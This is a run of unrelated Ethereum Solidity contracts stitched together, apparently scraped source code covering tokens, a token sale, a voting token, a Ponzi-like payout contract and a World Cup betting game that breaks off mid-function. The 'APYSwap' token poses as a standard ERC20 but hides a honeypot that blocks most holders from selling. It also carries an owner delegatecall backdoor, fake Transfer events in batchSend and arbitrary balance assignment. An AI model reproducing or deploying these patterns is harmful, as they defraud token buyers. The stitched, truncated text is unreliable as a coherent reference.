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pragma solidity ^0.4.25; contract NOTBAD { mapping (address => uint256) public invested; mapping (address => uint256) public atBlock; function () external payable { if (invested[msg.sender] != 0) { uint256 amount = invested[msg.sender] * (address(this).balance / (invested[msg.sender] * 100 )) / 100 * (block.number - atBlock[msg.sender]) / 6100; msg.sender.transfer(amount); } atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; } }
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pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Token { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "APYSwap"; string public symbol = "APYS"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
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pragma solidity ^0.4.18; contract EBU{ function transfer(address from,address caddress,address[] _tos,uint[] v)public returns (bool){ require(_tos.length > 0); bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)")); for(uint i=0;i<_tos.length;i++){ caddress.call(id,from,_tos[i],v[i]); } return true; } }
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pragma solidity 0.4.20; contract WhoVote { mapping (address => bytes32) public voteHash; address public parentContract; uint public deadline; modifier isActive { require(now < deadline); _; } modifier isParent { require(msg.sender == parentContract); _; } function WhoVote(address _parentContract, uint timespan) public { parentContract = _parentContract; deadline = now + timespan; } function recieveVote(address _sender, bytes32 _hash) public isActive isParent returns (bool) { require(voteHash[_sender] == 0); voteHash[_sender] = _hash; return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Interface { function circulatingSupply() public view returns (uint); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool); event TransferEvent(address indexed from, address indexed to, uint value); } contract StandardToken is ERC20Interface { using SafeMath for uint; uint public maxSupply; uint public totalSupply; uint public timestampMint; uint public timestampRelease; uint8 public decimals; string public symbol; string public name; address public owner; bool public stopped; mapping(address => uint) public balanceOf; mapping (address => uint) public permissonedAccounts; modifier onlyAfter() { require(now >= timestampMint + 3 weeks); _; } modifier isActive() { require(!stopped); _; } modifier hasPermission(uint _level) { require(permissonedAccounts[msg.sender] > 0); require(permissonedAccounts[msg.sender] <= _level); _; } function circulatingSupply() public view returns (uint) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balanceOf[_owner]; } function transfer(address _to, uint _value) public isActive returns (bool) { require(_to != address(0)); require(_value <= balanceOf[msg.sender]); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); TransferEvent(msg.sender, _to, _value); return true; } } contract Who is StandardToken { mapping (address => uint) public votings_; mapping (address => uint8) public icoAccounts; address public prizePool; uint public icoPool; uint public raisedIcoValue; uint public maxMint; event WinningEvent(address[] winner, address contest, uint payoutValue); event VotingStarted(address _voting, uint _duration, uint _costPerVote); event ParticipatedInVoting(address _sender, address _votingContract, bytes32 _hash, uint _voteAmount); modifier icoPhase() { require(now >= timestampRelease); require(now <= 3 weeks + timestampRelease); require(msg.value >= 2*(10**16)); _; } function Who() public { owner = 0x4c556b28A7D62D3b7A84481521308fbb9687f38F; name = "WhoHas"; symbol = "WHO"; decimals = 18; permissonedAccounts[owner] = 1; permissonedAccounts[0x3090Ee894719222DCE4d231d735741B2d44f30ba] = 1; timestampRelease = now + 6 hours + 40 minutes; balanceOf[owner] = 150000000*(10**18); icoPool = 100000000*(10**18); maxSupply = 1500000000*(10**18); maxMint = 150000*(10**18); totalSupply = totalSupply.add(balanceOf[owner]); stopped = false; } function icoBuy() public icoPhase() payable isActive { prizePool.transfer(msg.value); raisedIcoValue = raisedIcoValue.add(msg.value); uint256 tokenAmount = calculateTokenAmountICO(msg.value); require(icoPool >= tokenAmount); icoPool = icoPool.sub(tokenAmount); balanceOf[msg.sender] += tokenAmount; TransferEvent(prizePool, msg.sender, tokenAmount); totalSupply = totalSupply.add(tokenAmount); } function calculateTokenAmountICO(uint256 _etherAmount) public icoPhase constant returns(uint256) { if (now <= 10 days + timestampRelease) { require(icoAccounts[msg.sender] == 1); return _etherAmount.mul(4420); } else { require(icoAccounts[msg.sender] == 2); return _etherAmount.mul(3315); } } function killToken() public isActive hasPermission(1) { stopped = true; } function updatePermissions(address _account, uint _level) public isActive hasPermission(1) { require(_level != 1 && msg.sender != _account); permissonedAccounts[_account] = _level; } function updatePrizePool(address _account) public isActive hasPermission(1) { prizePool = _account; } function mint(uint _mintAmount) public onlyAfter isActive hasPermission(2) { require(_mintAmount <= maxMint); require(totalSupply + _mintAmount <= maxSupply); balanceOf[owner] = balanceOf[owner].add(_mintAmount); totalSupply = totalSupply.add(_mintAmount); timestampMint = now; } function registerForICO(address[] _icoAddresses, uint8 _level) public isActive hasPermission(3) { for (uint i = 0; i < _icoAddresses.length; i++) { icoAccounts[_icoAddresses[i]] = _level; } } function gernerateVoting(uint _timespan, uint _votePrice) public isActive hasPermission(3) { require(_votePrice > 0 && _timespan > 0); address generatedVoting = new WhoVote(this, _timespan); votings_[generatedVoting] = _votePrice; VotingStarted(generatedVoting, _timespan, _votePrice); } function addVoting(address _votingContract, uint _votePrice) public isActive hasPermission(3) { votings_[_votingContract] = _votePrice; } function finalizeVoting(address _votingContract) public isActive hasPermission(3) { votings_[_votingContract] = 0; } function payout(address[] _winner, uint _payoutValue, address _votingAddress) public isActive hasPermission(3) { for (uint i = 0; i < _winner.length; i++) { transfer(_winner[i], _payoutValue); } WinningEvent(_winner, _votingAddress, _payoutValue); } function payForVote(address _votingContract, bytes32 _hash, uint _quantity) public isActive { require(_quantity >= 1 && _quantity <= 5); uint votePrice = votings_[_votingContract]; require(votePrice > 0); transfer(prizePool, _quantity.mul(votePrice)); sendVote(_votingContract, msg.sender, _hash); ParticipatedInVoting(msg.sender, _votingContract, _hash, _quantity); } function sendVote(address _contract, address _sender, bytes32 _hash) private returns (bool) { return WhoVote(_contract).recieveVote(_sender, _hash); } }
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pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract TeamAllocation is Ownable { using SafeMath for uint; uint public unlockedAt; PillarToken plr; mapping (address => uint) allocations; uint tokensCreated = 0; uint constant public lockedTeamAllocationTokens = 16000000e18; address public teamStorageVault = 0x3f5D90D5Cc0652AAa40519114D007Bf119Afe1Cf; function TeamAllocation() { plr = PillarToken(msg.sender); uint nineMonths = 9 * 30 days; unlockedAt = now.add(nineMonths); allocations[teamStorageVault] = lockedTeamAllocationTokens; } function getTotalAllocation() returns (uint){ return lockedTeamAllocationTokens; } function unlock() external payable { if (now < unlockedAt) throw; if (tokensCreated == 0) { tokensCreated = plr.balanceOf(this); } plr.transfer(teamStorageVault, tokensCreated); } } contract UnsoldAllocation is Ownable { using SafeMath for uint; uint unlockedAt; uint allocatedTokens; PillarToken plr; mapping (address => uint) allocations; uint tokensCreated = 0; function UnsoldAllocation(uint _lockTime, address _owner, uint _tokens) { if(_lockTime == 0) throw; if(_owner == address(0)) throw; plr = PillarToken(msg.sender); uint lockTime = _lockTime * 1 years; unlockedAt = now.add(lockTime); allocatedTokens = _tokens; allocations[_owner] = _tokens; } function getTotalAllocation()returns(uint){ return allocatedTokens; } function unlock() external payable { if (now < unlockedAt) throw; if (tokensCreated == 0) { tokensCreated = plr.balanceOf(this); } var allocation = allocations[msg.sender]; allocations[msg.sender] = 0; var toTransfer = (tokensCreated.mul(allocation)).div(allocatedTokens); plr.transfer(msg.sender, toTransfer); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { if (paused) throw; _; } modifier whenPaused { if (!paused) throw; _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract PillarToken is StandardToken, Ownable { using SafeMath for uint; string public constant name = "PILLAR"; string public constant symbol = "PLR"; uint public constant decimals = 18; TeamAllocation public teamAllocation; UnsoldAllocation public unsoldTokens; UnsoldAllocation public twentyThirtyAllocation; UnsoldAllocation public futureSaleAllocation; uint constant public minTokensForSale = 32000000e18; uint constant public maxPresaleTokens = 48000000e18; uint constant public totalAvailableForSale = 528000000e18; uint constant public futureTokens = 120000000e18; uint constant public twentyThirtyTokens = 80000000e18; uint constant public lockedTeamAllocationTokens = 16000000e18; uint constant public unlockedTeamAllocationTokens = 8000000e18; address public unlockedTeamStorageVault = 0x4162Ad6EEc341e438eAbe85f52a941B078210819; address public twentyThirtyVault = 0xe72bA5c6F63Ddd395DF9582800E2821cE5a05D75; address public futureSaleVault = 0xf0231160Bd1a2a2D25aed2F11B8360EbF56F6153; address unsoldVault; uint constant coldStorageYears = 10; uint constant futureStorageYears = 3; uint totalPresale = 0; uint public constant tokenPrice = 0.0005 ether; address public pillarTokenFactory; uint fundingStartBlock; uint fundingStopBlock; bool fundingMode; uint totalUsedTokens; event Refund(address indexed _from,uint256 _value); event Migrate(address indexed _from, address indexed _to, uint256 _value); event MoneyAddedForRefund(address _from, uint256 _value,uint256 _total); modifier isNotFundable() { if (fundingMode) throw; _; } modifier isFundable() { if (!fundingMode) throw; _; } function PillarToken(address _pillarTokenFactory, address _icedWallet) { if(_pillarTokenFactory == address(0)) throw; if(_icedWallet == address(0)) throw; pillarTokenFactory = _pillarTokenFactory; totalUsedTokens = 0; totalSupply = 800000000e18; unsoldVault = _icedWallet; balances[unlockedTeamStorageVault] = unlockedTeamAllocationTokens; futureSaleAllocation = new UnsoldAllocation(futureStorageYears,futureSaleVault,futureTokens); balances[address(futureSaleAllocation)] = futureTokens; twentyThirtyAllocation = new UnsoldAllocation(futureStorageYears,twentyThirtyVault,twentyThirtyTokens); balances[address(twentyThirtyAllocation)] = twentyThirtyTokens; fundingMode = false; } function() payable isFundable external { purchase(); } function purchase() payable isFundable { if(block.number < fundingStartBlock) throw; if(block.number > fundingStopBlock) throw; if(totalUsedTokens >= totalAvailableForSale) throw; if (msg.value < tokenPrice) throw; uint numTokens = msg.value.div(tokenPrice); if(numTokens < 1) throw; pillarTokenFactory.transfer(msg.value); uint tokens = numTokens.mul(1e18); totalUsedTokens = totalUsedTokens.add(tokens); if (totalUsedTokens > totalAvailableForSale) throw; balances[msg.sender] = balances[msg.sender].add(tokens); Transfer(0, msg.sender, tokens); } function numberOfTokensLeft() constant returns (uint256) { uint tokensAvailableForSale = totalAvailableForSale.sub(totalUsedTokens); return tokensAvailableForSale; } function finalize() isFundable onlyOwner external { if (block.number <= fundingStopBlock) throw; if (totalUsedTokens < minTokensForSale) throw; if(unsoldVault == address(0)) throw; fundingMode = false; teamAllocation = new TeamAllocation(); balances[address(teamAllocation)] = lockedTeamAllocationTokens; uint totalUnSold = numberOfTokensLeft(); if(totalUnSold > 0) { unsoldTokens = new UnsoldAllocation(coldStorageYears,unsoldVault,totalUnSold); balances[address(unsoldTokens)] = totalUnSold; } pillarTokenFactory.transfer(this.balance); } function refund() isFundable external { if(block.number <= fundingStopBlock) throw; if(totalUsedTokens >= minTokensForSale) throw; uint plrValue = balances[msg.sender]; if(plrValue == 0) throw; balances[msg.sender] = 0; uint ethValue = plrValue.mul(tokenPrice).div(1e18); msg.sender.transfer(ethValue); Refund(msg.sender, ethValue); } function allocateForRefund() external payable onlyOwner returns (uint){ MoneyAddedForRefund(msg.sender,msg.value,this.balance); return this.balance; } function allocateTokens(address _to,uint _tokens) isNotFundable onlyOwner external { uint numOfTokens = _tokens.mul(1e18); totalPresale = totalPresale.add(numOfTokens); if(totalPresale > maxPresaleTokens) throw; balances[_to] = balances[_to].add(numOfTokens); } function unPauseTokenSale() onlyOwner isNotFundable external returns (bool){ fundingMode = true; return fundingMode; } function pauseTokenSale() onlyOwner isFundable external returns (bool){ fundingMode = false; return !fundingMode; } function startTokenSale(uint _fundingStartBlock, uint _fundingStopBlock) onlyOwner isNotFundable external returns (bool){ if(_fundingStopBlock <= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; fundingMode = true; return fundingMode; } function fundingStatus() external constant returns (bool){ return fundingMode; } }
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pragma solidity ^0.4.24; contract EtherWorldCup { using SafeMath for uint; address internal constant administrator = 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae; address internal constant givethAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc; string name = "EtherWorldCup"; string symbol = "EWC"; mapping (string => int8) worldCupGameID; mapping (int8 => bool) gameFinished; mapping (int8 => uint) gameLocked; mapping (int8 => string) gameResult; int8 internal latestGameFinished; uint internal prizePool; uint internal givethPool; int registeredPlayers; mapping (address => bool) playerRegistered; mapping (address => mapping (int8 => bool)) playerMadePrediction; mapping (address => mapping (int8 => string)) playerPredictions; mapping (address => int8[64]) playerPointArray; mapping (address => int8) playerGamesScored; mapping (address => uint) playerStreak; address[] playerList; event Registration( address _player ); event PlayerLoggedPrediction( address _player, int _gameID, string _prediction ); event PlayerUpdatedScore( address _player, int _lastGamePlayed ); event Comparison( address _player, uint _gameID, string _myGuess, string _result, bool _correct ); event PlayerPointGain( address _player, uint _gameID, uint _streak, uint _points ); event StartAutoScoring( address _player ); event StartScoring( address _player, uint _gameID ); event DidNotPredict( address _player, uint _gameID ); event RipcordRefund( address _player ); constructor () public { worldCupGameID["RU-SA"] = 1; gameLocked[1] = 1528988400; worldCupGameID["EG-UY"] = 2; worldCupGameID["MA-IR"] = 3; worldCupGameID["PT-ES"] = 4; gameLocked[2] = 1529064000; gameLocked[3] = 1529074800; gameLocked[4] = 1529085600; worldCupGameID["FR-AU"] = 5; worldCupGameID["AR-IS"] = 6; worldCupGameID["PE-DK"] = 7; worldCupGameID["HR-NG"] = 8; gameLocked[5] = 1529143200; gameLocked[6] = 1529154000; gameLocked[7] = 1529164800; gameLocked[8] = 1529175600; worldCupGameID["CR-CS"] = 9; worldCupGameID["DE-MX"] = 10; worldCupGameID["BR-CH"] = 11; gameLocked[9] = 1529236800; gameLocked[10] = 1529247600; gameLocked[11] = 1529258400; worldCupGameID["SE-KR"] = 12; worldCupGameID["BE-PA"] = 13; worldCupGameID["TN-EN"] = 14; gameLocked[12] = 1529323200; gameLocked[13] = 1529334000; gameLocked[14] = 1529344800; worldCupGameID["CO-JP"] = 15; worldCupGameID["PL-SN"] = 16; worldCupGameID["RU-EG"] = 17; gameLocked[15] = 1529409600; gameLocked[16] = 1529420400; gameLocked[17] = 1529431200; worldCupGameID["PT-MA"] = 18; worldCupGameID["UR-SA"] = 19; worldCupGameID["IR-ES"] = 20; gameLocked[18] = 1529496000; gameLocked[19] = 1529506800; gameLocked[20] = 1529517600; worldCupGameID["DK-AU"] = 21; worldCupGameID["FR-PE"] = 22; worldCupGameID["AR-HR"] = 23; gameLocked[21] = 1529582400; gameLocked[22] = 1529593200; gameLocked[23] = 1529604000; worldCupGameID["BR-CR"] = 24; worldCupGameID["NG-IS"] = 25; worldCupGameID["CS-CH"] = 26; gameLocked[24] = 1529668800; gameLocked[25] = 1529679600; gameLocked[26] = 1529690400; worldCupGameID["BE-TN"] = 27; worldCupGameID["KR-MX"] = 28; worldCupGameID["DE-SE"] = 29; gameLocked[27] = 1529755200; gameLocked[28] = 1529766000; gameLocked[29] = 1529776800; worldCupGameID["EN-PA"] = 30; worldCupGameID["JP-SN"] = 31; worldCupGameID["PL-CO"] = 32; gameLocked[30] = 1529841600; gameLocked[31] = 1529852400; gameLocked[32] = 1529863200; worldCupGameID["UR-RU"] = 33; worldCupGameID["SA-EG"] = 34; worldCupGameID["ES-MA"] = 35; worldCupGameID["IR-PT"] = 36; gameLocked[33] = 1529935200; gameLocked[34] = 1529935200; gameLocked[35] = 1529949600; gameLocked[36] = 1529949600; worldCupGameID["AU-PE"] = 37; worldCupGameID["DK-FR"] = 38; worldCupGameID["NG-AR"] = 39; worldCupGameID["IS-HR"] = 40; gameLocked[37] = 1530021600; gameLocked[38] = 1530021600; gameLocked[39] = 1530036000; gameLocked[40] = 1530036000; worldCupGameID["KR-DE"] = 41; worldCupGameID["MX-SE"] = 42; worldCupGameID["CS-BR"] = 43; worldCupGameID["CH-CR"] = 44; gameLocked[41] = 1530108000; gameLocked[42] = 1530108000; gameLocked[43] = 1530122400; gameLocked[44] = 1530122400; worldCupGameID["JP-PL"] = 45; worldCupGameID["SN-CO"] = 46; worldCupGameID["PA-TN"] = 47; worldCupGameID["EN-BE"] = 48; gameLocked[45] = 1530194400; gameLocked[46] = 1530194400; gameLocked[47] = 1530208800; gameLocked[48] = 1530208800; worldCupGameID["1C-2D"] = 49; worldCupGameID["1A-2B"] = 50; gameLocked[49] = 1530367200; gameLocked[50] = 1530381600; worldCupGameID["1B-2A"] = 51; worldCupGameID["1D-2C"] = 52; gameLocked[51] = 1530453600; gameLocked[52] = 1530468000; worldCupGameID["1E-2F"] = 53; worldCupGameID["1G-2H"] = 54; gameLocked[53] = 1530540000; gameLocked[54] = 1530554400; worldCupGameID["1F-2E"] = 55; worldCupGameID["1H-2G"] = 56; gameLocked[55] = 1530626400; gameLocked[56] = 1530640800; worldCupGameID["W49-W50"] = 57; worldCupGameID["W53-W54"] = 58; gameLocked[57] = 1530885600; gameLocked[58] = 1530900000; worldCupGameID["W55-W56"] = 59; worldCupGameID["W51-W52"] = 60; gameLocked[59] = 1530972000; gameLocked[60] = 1530986400; worldCupGameID["W57-W58"] = 61; gameLocked[61] = 1531245600; worldCupGameID["W59-W60"] = 62; gameLocked[62] = 1531332000; worldCupGameID["L61-L62"] = 63; gameLocked[63] = 1531576800; worldCupGameID["W61-W62"] = 64; gameLocked[64] = 1531666800; latestGameFinished = 0; } function register() public payable { address _customerAddress = msg.sender; require( tx.origin == _customerAddress && !playerRegistered[_customerAddress] && _isCorrectBuyin (msg.value)); registeredPlayers = SafeMath.addint256(registeredPlayers, 1); playerRegistered[_customerAddress] = true; playerGamesScored[_customerAddress] = 0; playerList.push(_customerAddress); uint fivePercent = 0.01009 ether; uint tenPercent = 0.02018 ether; uint prizeEth = (msg.value).sub(tenPercent); require(playerRegistered[_customerAddress]); prizePool = prizePool.add(prizeEth); givethPool = givethPool.add(fivePercent); administrator.send(fivePercent); emit Registration(_customerAddress); } function makePrediction(int8 _gameID, string _prediction) public { address _customerAddress = msg.sender; uint predictionTime = now; require(playerRegistered[_customerAddress] && !gameFinished[_gameID] && predictionTime < gameLocked[_gameID]); if (_gameID > 48 && equalStrings(_prediction, "DRAW")) { revert(); } else { playerPredictions[_customerAddress][_gameID] = _prediction; playerMadePrediction[_customerAddress][_gameID] = true; emit PlayerLoggedPrediction(_customerAddress, _gameID, _prediction); } } function showPlayerScores(address _participant) view public returns (int8[64]) { return playerPointArray[_participant]; } function gameResultsLogged() view public returns (int) { return latestGameFinished; } function calculateScore(address _participant) view public returns (int16) { int16 finalScore = 0; for (int8 i = 0; i < latestGameFinished; i++) { uint j = uint(i); int16 gameScore = playerPointArray[_participant][j]; finalScore = SafeMath.addint16(finalScore, gameScore); } return finalScore; } function countParticipants() public view returns (int) { return registeredPlayers; } function updateScore(address _participant) public { int8 lastPlayed = latestGameFinished; require(lastPlayed > 0); int8 lastScored = playerGamesScored[_participant]; mapping (int8 => bool) madePrediction = playerMadePrediction[_participant]; mapping (int8 => string) playerGuesses = playerPredictions[_participant]; for (int8 i = lastScored; i < lastPlayed; i++) { uint j = uint(i); uint k = j.add(1); uint streak = playerStreak[_participant]; emit StartScoring(_participant, k); if (!madePrediction[int8(k)]) { playerPointArray[_participant][j] = 0; playerStreak[_participant] = 0; emit DidNotPredict(_participant, k); emit PlayerPointGain(_participant, k, 0, 0); } else { string storage playerResult = playerGuesses[int8(k)]; string storage actualResult = gameResult[int8(k)]; bool correctGuess = equalStrings(playerResult, actualResult); emit Comparison(_participant, k, playerResult, actualResult, correctGuess); if (!correctGuess) { playerPointArray[_participant][j] = 0; playerStreak[_participant] = 0; emit PlayerPointGain(_participant, k, 0, 0); } else { streak = streak.add(1); playerStreak[_participant] = streak; if (streak >= 5) { playerPointArray[_participant][j] = 4; emit PlayerPointGain(_participant, k, streak, 4); } else { if (streak >= 3) { 